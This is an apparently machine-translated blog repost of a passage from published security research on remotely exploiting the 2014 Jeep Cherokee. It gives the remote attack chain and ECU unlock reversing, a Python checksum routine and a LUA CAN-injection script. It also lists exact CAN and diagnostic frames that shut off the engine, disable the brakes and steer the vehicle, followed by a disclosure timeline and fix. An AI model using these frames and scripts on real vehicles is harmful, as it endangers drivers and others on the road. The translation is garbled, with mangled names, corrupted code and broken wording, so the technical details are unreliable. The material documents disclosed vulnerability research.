Tang Dynasty Laboratory · 2015/11/30 17:05
Author: Dr. Charlie Miller ([email protected]) Chris Valasek ([email protected])
Tang Dynasty Laboratory translation Group: Zhu Yutao, Liu Jiazhi
0x01 Complete utilization chain
So far, we’ve discussed many aspects of how to remotely exploit this Jeep and similar models. So far, this is enough information for a full exploit, but we want to summarize how the chain works from start to finish.
Identify the target
You need the I.P. address of the vehicle. You can randomly choose one or write a worm to invade all vehicles. If you know your car’s VIN or GPS, you can scan its IP range based on what you know about the vehicle’s location until you find the corresponding VIN or GPS. This is possible because of the slow speed of devices on the Sprint network, and you may need many devices to perform parallel scans, perhaps a few hundred at most.
Use the OMAP chip in the header unit
Once you have the IP address of the buggy vehicle, you can run the code using the appropriate D-bus service execution method. The simplest is to upload an SSH public key and configuration file, and then start the SSH service. At this point, you can SSH to the target vehicle and run commands from a remote terminal.
Control the Uconnect system
If you only want to control radio broadcasts, HVAC, get GPS information, or other attacks that don’t involve CAN, all you need to do is use the LUA script mentioned above. In fact, most of the functionality can be achieved using D-bus without executing code, just by using the D-bus service we provide. If you want to control other aspects of the car, keep reading…
Spawn tampered firmware in the V850
Get a tampered VERSION of the V850 firmware ready and you can easily swipe the modified version into the V850 by following the previous requirements. This process requires an automatic reboot of the system, which may alert the driver that an operation is in progress. If you mess this up, the first unit will be bricked and needs to be replaced.
Perform physical operations over the network
Using the tampered firmware, the vehicle is operated by sending the appropriate CAN message using SPI, via OMAP chip to the modified firmware on the V850 chip. This process requires similar research knowledge from the 2013 paper.
Understand the physical structure of the car through the network
Now, after the remote attack, we will start sending CAN messages. To figure out which CAN messages to send, we need to figure out what characteristics are unique to the messages sent by The Gippeno. This process requires constant trial and error, reverse mechanical tools, reverse ECU firmware. In the next chapter, we will do that.
Machine tools
As with all security research, it’s important to have the right tools if you want to get more out of less. Unsurprisingly, we’ll need mechanical tools to dispose of the jeep. These machine tools CAN interact with the ECU at a low level through CAN. Included in these tools are secure access keys and diagnostic testing capabilities that may be of interest to attackers.
However, we found that these devices were not J2534 standard straight-through devices with software capabilities, but witech-generated proprietary software/hardware systems costing over $6,700.00 (more than Tech Authority’s $1,800 annual subscription fee).
Figure – wiTECH quotation
While some studies can be performed without diagnostic equipment, many active tests and ECU unlocks require analysis of these mechanical tools. After weeks of selling blood, we finally got the system we needed to diagnose this Jeep (and other Fiat-Chrysler models).
review
WiTECH tools are very easy to use and may have been redesigned. You can look at aspects of the car, and even graphically represent the network architecture of the Jeep, which we couldn’t see before wiTECH.
Figure-a schematic of the 2014 Gippeno shown in WiTech’s software
WiTECH differs from other diagnostic programs we’ve seen before in another way. The wiTECH system is written in Java, not C/C++. This way, reverse engineering is easier because of its friendly name and the ability to decompile bytecode into Java sources.
Tu-witech important document
One method preset by the manufacturer that makes decompilation difficult is the use of string obfuscation, which appears to have been generated using the Allatori obfuscator. Below, searching for the output string in Java code does not yield good results because the code is “encrypted” and can only be “decrypted” at run time.
Figure -wiTECH string confusion
When we first analyzed some Java bytecode, we found that the easiest way is to import the wiTECH JARs you need into a Java application and decrypt them using functions from the library. The following is the decrypted string and the printed result, which is exactly “Flash Engine is invalidated”.
De-obfuscate text for the figure-Eclipse output
Security access
While the wiTECH device is designed to collect CAN information for active testing, for example, to start the wiper, the most attractive feature is to analyze software to understand its secure access algorithms, which CAN be used to “unlock” an ECU for reprogramming or other permission operations.
Again, unlike any diagnostic software we’ve looked at before, the wiTECH software doesn’t seem to contain any actual code responsible for generating a secret key based on the seed used to unlock the ECU. Finally, in the ‘jcanflash/Chrysler/DCX/securityunlock file under/’, we found that some of the unlock function is invoked, call depends on the type of ECU to heavy brush.
At the end of the static analysis, we found some code ‘/ NGST/com/DCX NGST/vehicle/services/security/SecurityUnlockManagerImp Java’, the following code is from this location:
localObject = new ScriptedSecurityAlgorithm(new EncryptedSecurityU(((ScriptedSecurityMetaData)paramSecurityLevelMetaData .getScript()));Copy the codeHowever, after reviewing the ‘EncryptedSecurityUnlock’, we did not find much information about the secret key generation algorithm.
Figure – Secure encryption to unlock Java code
By tracing the method used to secure unlock, we found a directory in ‘jcanFlash \com\ DCX \NGST\ jcanFlash \flashfile\odx\data\scripts\unlock’, There are a lot of files that end in ‘.esu ‘(we later learned that.esu stands for encrypted secure unlock). We were not surprised when we examined these files in the hexadecimal editor and didn’t find any strings or contents that were readable.
Figure -wiTECH’s encrypted secure unlock file
We don’t have an unlocking algorithm, but we have a pretty good idea of how it works. WiTECH will request the ECU to obtain the seed. After obtaining the seed, the application will determine the type of ECU and decrypt the unlock file. We believe that the secret key generation algorithm is in this unlock file.
We checked the “EncryptedSecurityUnlock” constructor again and found the following information:
UC localUC = new UC();
SecurityUnlockFactoryImp localSecurityUnlockFactoryImp =
new SecurityUnlockFactoryImp();
try
{
byte[] arrayOfByte = localUC.d(a);
Copy the codeThe byte stream passed to the ‘d’ function is very similar to the encrypted data above, and we obfuscated the constructor with satisfactory results. You can see that they are very well versed in l33T [email protected].
Uc.init([email protected], "MD5", ""," BC ", "AES", new String [] {" com. Chrysler. Lx. UnlockCryptographerTest ", "Com. DCX. Securityunlock. Encrypted. EncryptedSecurityUnlock", "", "Com. DCX. NGST. JCanFlash. Flashfile. Efd2. SecurityUnlockBuilderImpTest"});Copy the codeAfter running the decryption routine on “00a6.esu” (above), we can now see that this is indeed a JavaScript used to generate a secret key from a seed.
Figure – decrypted javascript unlocked file
After decrypting the file used to unlock the ECU, we can see the javascript script and port its functionality to Python. Not surprisingly, the algorithm also involves some secret and simple bit manipulation, as these techniques are almost ubiquitous in the automation industry. In the screenshot below is the Python code we used to unlock the various ECUs in the Gipchino, but many other models probably use the same algorithm. The complete code can be found in the content package of ‘JeepUnlock. Py’.
Tu-kipcheno’s ECU unlocking algorithm
It should be noted that unlike the Fords and Toyotas we studied earlier, we didn’t actually need secure access to a secret key to execute the attack. The only purpose of the secure access algorithm is to scrub the ECU, and we didn’t explore that.
PAM ECU reverse
By using mechanical tools, we can perform active testing and sniff test results. In addition, we know the security algorithm and the secret key that allows us to perform permission operations. However, the information sent by the machine tool is fixed and does not use checksums. We check that checksums are often used for traffic between ECUs. If we want to make CAN messages ourselves (rather than simply replying to existing messages), we need to understand these checksums. To do this, we must look at the code that performs the checksum, which only appears in the ECU itself.
Many times, observing the CAN flow from sniffing is enough to determine speed, braking ratio, and other conditions. In addition, the last byte of data in these CAN messages is the checksum. For example, the following information comes from a 2010 Toyota Prius that uses lane Maintenance Assistance (LKA).
IDH: 02, IDL: E4, Len: 05, Data: 98 00 00 00 83
IDH: 02, IDL: E4, Len: 05, Data: 9A 00 00 00 85
IDH: 02, IDL: E4, Len: 05, Data: 9E 00 00 00 89
Copy the codeIn each message, the last byte is the CAN ID, the length of the data, and an integer addition checksum of the data bytes (limited to 1 byte), which CAN be figured out by analyzing several messages. We found that most of the information was either a longitudinal redundancy check (xOR checksum) or an integer addition checksum, but the parking Assistance module (PAM) used a checksum different from anything we had seen before. The following message is sent by the PAM module of the 2014 Jeep Chino.
IDH: 02, IDL: 0C, Len: 04, Data: 80 00 06 7F
IDH: 02, IDL: 0C, Len: 04, Data: 80 00 08 D9
IDH: 02, IDL: 0C, Len: 04, Data: 80 00 19 09
Copy the codeThe checksum algorithm used by PAM information is not only different from what we know, but also from the checksum technique and CRC data integrity technique introduced by Koopman in his paper. We think that if we CAN take the firmware and reverse its code, we CAN identify the checksum algorithm, so that we CAN make arbitrary messages that the ECU listening on the CAN bus thinks are valid.
Fortunately, wiTECH software provides us with all the necessary information to purchase a PAM module online, serial number: 56038998AJ; We can order from any vendor that sells MOPAR parts.
Photo – Parking assist module of a 2014 Jeep
WiTECH also has the ability to update PAM, which also reminds us that firmware can be downloaded from the Web and stored locally on a computer to perform the update. This is clear, after investigating the file system running on the wiTECH laptop, we found the directory: ‘%PROGRAMDATA%\wiTECH\ jServer \userData\file\ Flashfiles’. This directory contains the firmware cache so that the software does not need to re-download a copy every time a refresh event occurs.
We are not yet sure which files are which and how they are encoded, so in the process of rebrushing both ECUs, we capture CAN traffic. By comparing the data in the process of file brushing, we can infer that one of the files is the update of parking assistance module. We run the string on file 5603899ah.efd to look for the string “PAM” and it turns out that this firmware update is the firmware we want to get.
C:\Jeep\pam>strings 56038998ah.efd | grep PAM
PAM
PAM_CUSW SU
.\PAM_DSW\GEN\DSW09_PROJECT_gen\api\DTC_Mapping_MID_DTCID_PROJECT.h
.\PAM_DSW\GEN\DSW09_PROJECT_gen\api\DTC_Mapping_MID_DTCID_PROJECT.h
.\PAM_DSW\DSW_Adapter\src\DSW4BSW_PDM2NVM.c
Copy the codeNote: You will note that we are not smart enough to infer from the name of the EFD file, the serial number of the 2014 Jeep Chero parking Assist module, whether the path is correct or not.
The file itself is not just a firmware image, but contains the metadata used by wiTECH’s software, with no single purpose. Fortunately, we can implement specific method calls through the JAR files provided with wiTECH software to discover the true string offset and firmware size.
After importing the appropriate classes, the following call chain reveals the true starting offset and firmware size.
String user_file = "C:/Jeep/pam/56038998ah.efd";
UserFileImp ufi = new UserFileImp(user_file); ff.load(ufi);
Microprocessor mps[] = ff.getMicroprocessors();
StandardMicroprocessor smp = (StandardMicroprocessor)mps[0];
LogicalBlock lb = smp.getLogicalBlocks()[0];
PhysicalBlockImp pb = (PhysicalBlockImp)lb.getPhysicalBlocks()[0];
System.out.println("Block Len: " + pb.getBlockLength());
System.out.println("Block len (uncomp): " + pb.getUncompressedBlockLength());
System.out.println("File Offset: " + pb.getFileOffset());
System.out.println("Start Address: " + pb.getStartAddress());
Copy the codeThe output code above is as follows:
Block Len: 733184
Block len (uncomp): 733184
File Offset: 3363
Start Address: 8192
Copy the codeAt this point, we have all the information we need to write a Python script, extract the firmware, and start reverse-engineering.
One major problem that remains is that we are still not completely sure of the architecture of the CPU used in the PAM module. The best course of action is to open the PAM module and look at the logo on the motherboard. If we can determine the chip flag, then it is likely that we will be able to determine which processor is being used and start disassembling the firmware in IDA Pro.
Figure – PAM PCB
Although not easy to spot, the logo on the main MCU is the D70F3634, which we googled as the Renesas V850 chip. Fortunately, the same chip is used in infotainment systems, so the previous reverse scripts, techniques and tools can be reused.
Now that we have extracted the firmware from the update and know its architecture, we can reverse the binary to find the function used to compute the checksum. After some discussion, we decided that one of the constants might be xOR, resulting in a checksum with similar payloads but very different ones. After a quick search, we found a function that xor some values and seemed to have some loops. This function is a perfect inverse candidate.
We first reverted disassembly to C because one of the authors of this article is a psycho. At this point, C functions can be ported to Python for testing. The following code is Python code derived from disassembly.
Figure -PAM checksum algorithm
#! python def calc_checksum(data, length): end_index = length - 1 index = 0 checksum = 0xFF temp_chk = 0; bit_sum = 0; if(end_index <= index): return False for index in range(0, end_index): shift = 0x80 curr = data[index] iterate = 8 while(iterate > 0): iterate -= 1 bit_sum = curr & shift; temp_chk = checksum & 0x80 if (bit_sum ! = 0): bit_sum = 0x1C if (temp_chk ! = 0): bit_sum = 1 checksum = checksum << 1 temp_chk = checksum | 1 bit_sum ^= temp_chk else: if (temp_chk ! = 0) : bit_sum = 0x1D checksum = checksum << 1 bit_sum ^= checksum checksum = bit_sum shift = shift >> 1 return ~checksum & 0xFFCopy the codeIf you run the 3-byte data from the PAM information above through the calc_checksum function. More importantly, we see in jeeps that all CAN buses with 1-byte checksums use the same function. Therefore, the checksum algorithm we obtained is applicable to all information of interest. This checksum is more complex than the one we encountered earlier.
Note: We also found two more checksums and reverted to C, but none of the information we were interested in used them. The two algorithms are similar but have different byte lengths.
CAN messages are sent over the network
Once you CAN send CAN messages via remote exploits, it’s a piece of cake to figure out which messages to send to affect their physical systems. It took us all year to figure out what messages to send to Ford and Toyota, so we didn’t rush to do the same with jeeps. We did, however, do a small amount of work to show which physical systems of the car could be controlled by remote exploit, but that was not the main goal of our research.
General CAN information
As discussed in previous studies, there are two types of CAN information, general information and diagnostic information. General information is always present in the bus during general operations. Diagnostic information is typically found only during mechanical testing, processing ECU, or other unconventional situations. We started by examining some physical properties that CAN be manipulated with just regular CAN information.
To the signal
The turn signal, also known as the turn signal, is controlled by a CAN message, the ID of which is’ 04F0 ‘, located on the CAN-C network. If the first byte is 01, it is a left-turn signal; If it’s a 02, it’s a right turn signal. The following LUA script activates the turn indicator.
Note: This script uses SPI communication on the V850 chip, so the CAN ID will be moved by 2 bytes to meet hardware requirements.
local clock = os.clock function sleep(n) -- seconds local t0 = clock() while clock() - t0 <= n do end end ipc = require("ipc") file = '/dev/ipc/ch7' g = assert(ipc.open(file)) while true do -- can3 can2 can1 can0 data0 g:write(0xf0, 0x02, 91, 0x07, 0x00, 0x00, 0xC0, 0x13, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) -- left turn sleep(.001) endCopy the codelock
The lock signal is very similar to the turn signal. The information ID of the control lock is 05CE, which is located on the CAN IHS bus. This data has two bytes. If the second byte is 02, lock the car; If it’s 04, unlock it.
RPMS
The tachometer is controlled by information 01FC on the CAN-C bus. In the previous two information examples, there was only data. The message takes a different form and is not common in jeeps. The last two bytes are a counter that increments each message and checksum. We’ve already introduced this checksum. Here’s what the message looks like:
IDH: 01, IDL: FC, Len: 08, Data: 07 47 4C C1 70 00 45 48
The first two bytes are the RPMS to display. In this case it’s 0x747, or 1863 RPM.
CAN diagnostic information
Diagnostic information is more powerful than conventional information, but most ECUs will ignore diagnostic information if the vehicle is moving, typically more than 5-10 MPH. Therefore, such attacks can only be carried out if the vehicle is traveling at low speeds, unless the attacker knows how to fake a speed to determine whether to receive diagnostic information.
Note: The diagnostic information for this jeep is 29-bit CAN information.
Shut down the engine
This information was gleaned from a test sent by the machine tool. You can start a diagnostic session, and then calls the ‘startRoutineByLocalIdentifier’. In this case, the local identifier is 15 and the data is 00 01. The purpose of this test is to turn off a specific nozzle, which we assume is the first nozzle.
The message must look like this. First, start a diagnostic session. Again, this attack can only be successful at low speeds.
EID: 18DA10F1, Len: 08, Data: 02 10 92 00 00 00 00 00
Copy the codeThen call the routine:
EID: 18DA10F1, Len: 08, Data: 04 31 15 00 01 00 00 00
Copy the codeThe brake
The Jeep has the same “feature” as the Ford Escape, which means that when a diagnostic session is created, the brakes are pressed to the ground during driving. The result is that the brakes fail, causing safety problems, even if this happens only at low speeds.
First, we need to start a diagnostic session using the ABS ECU
EID: 18DA28F1, Len: 08, Data: 02 10 03 00 00 00 00 00
Copy the codeThen we slam on the brakes (all the brakes to the ground). This is just one InputOutput, but multiple CAN messages are needed because the data is too long to fit into a single CAN framework.
EID: 18DA28F1, Len: 08, Data: 10 11 2F 5A BF 03 64 64
EID: 18DA28F1, Len: 08, Data: 64 64 64 64 64 64 64 64
EID: 18DA28F1, Len: 08, Data: 64 64 64 00 00 00 00 00
Copy the codeTurn to
Steering (as part of parking assistance) and anti-collision brakes CAN only be operated by regular CAN information. However, unlike the vehicles we observed previously, it is more difficult to control using CAN information injection alone. On the Toyota Prius, for example, to brake, you simply send a flood of information to the network for the high-speed anti-collision system to activate the brakes. Of course, a real anti-collision system would say don’t hit the brakes because you don’t have to. Toyota’s ABS ECU will find a conflict between the injected information and the real information and will act based on the frequency of the information. So, it’s not hard to put the brakes on.
Not so in jeeps. We have identified what information the anti-collision system will use to control the brakes. But when we send that message, and the ECU receives our message to apply the brakes, and receives the real message not to brake, the ABS ECU on the Jeep shuts down the anti-collision system completely. However, the ECU on jeep is designed to look for such exceptions and does not respond. As a result, a lot of the things we can do on the Toyota Prius we can’t do on the Jeep. Having said that, it is possible to falsify information to control critical safety aspects of a vehicle. We didn’t put a lot of effort in that direction because the research was focused on remote exploit.
As a case study for this, we will send the ECU with real information offline. Then, the ECU that receives the message can only see our message, so there is no conflict. The downside is that we have to use diagnostic information to offline the real ECU. This means that even though the actual operation only involves regular CAN information, we CAN only perform this attack at low speeds because we need to use diagnostic information first.
We’ll use steering as an example to illustrate this. During steering, if the parking assist system receives conflicting information, the system goes offline (in fact, the square steering wheel may move slightly, especially when the vehicle is stopped, but you have to follow this procedure in order to gain full control). The Parking Assistance module (PAM) is the ECU that sends the real information. So, we want PAM to enter a diagnostic session to prevent PAM from sending regular messages. Then, we send a message to turn the car.
First we start a diagnostic session involving PAM:
EID: 18DAA0F1, Len: 08, Data: 02 10 02 00 00 00 00 00
Copy the codeWe then send a CAN message telling the power steering ECU to turn. This information should look like the following:
IDH: 02, IDL: 0C, Len: 04, Data: 90 32 28 1F
Copy the codeThe first two bytes here are the torque applied to the steering wheels. 80 00 is no torque. Larger numbers, such as C0, 000, turn counterclockwise, while smaller numbers, such as 40, 00, turn clockwise. The first half of the third byte indicates whether automatic parking is enabled (0 = no, 2 = yes). The second half of this byte is a counter. The last byte is the checksum.
0x02 Problems and Fixes
Problems disclosed
Here we reveal some of the problems found in FCA vehicles. The time is as follows:
- October 2014: We discovered that the D-Bus service was exposed and had vulnerabilities.
- March 2015: We found that we CAN reprogram the V850 chip of FCA cars to send arbitrary CAN information from OMAP chip. At this point, we have informed them of these issues and plan to present these findings at Black Hat and DEFCON in August 2015.
- April 2015: We discovered that d-Bus can be accessed over cellular networks, not just Wi-Fi.
- July 2015: We provided advance copies of this study to the FCA, Harman Caton, NHTSA and QNX.
- July 16, 2015: Chrysler unveils a fix to fix the problem.
- July 21, 2015: Wired article published.
- July 24, 2015: Sprint cellular intercepts traffic on port 6667. Chrysler recalled 1.4 million vehicles on its own.
Repair and countermeasures
Chrysler has fixed this issue in version 15.26.1. We haven’t explored this fix in depth yet, but the end result is that the car can no longer receive incoming TCP/IP packets. This is the nMAP scan before the fix (version 14.25.5)
Start Nmap 6.01(http://nmap.org) at 2015-07-26 11:23 CDT
Nmap scan results after the repair are installed:
Start Namp 6.01(http://nmap.org) at 2015-07-26 11:42 CDT
In addition, the Sprint network also intercepted at least some traffic on port 6667, even from the same cell tower. So, attacking an unfixed car with a vulnerability can only be done over Wi-Fi, and if possible, over a femtocell connection. Both methods of attack require proximity to the target vehicle.
0 x03 summary
This paper is the culmination of our three years of automotive safety research. In the article, we demonstrate that a large number of Fiat-Chrysler vehicles can be remotely attacked. Thousands of vehicles were exposed to the flaw, forcing the FCA to recall 1.4m vehicles and revamp Sprint’s carrier network. This remote attack can target vehicles anywhere in the United States and does not require any local or physical interaction of the attacker or driver to modify the vehicle. Due to the effects of ranged attacks, some physical systems, such as steering and braking, are affected. We provided this research in the hope that we can build safer cars in the future, so that we can keep ourselves safe while driving and protect ourselves from cyber attacks. Manufacturers, suppliers and safety researchers can use this information to further investigate the Jeep and other models and work together on vehicle safety.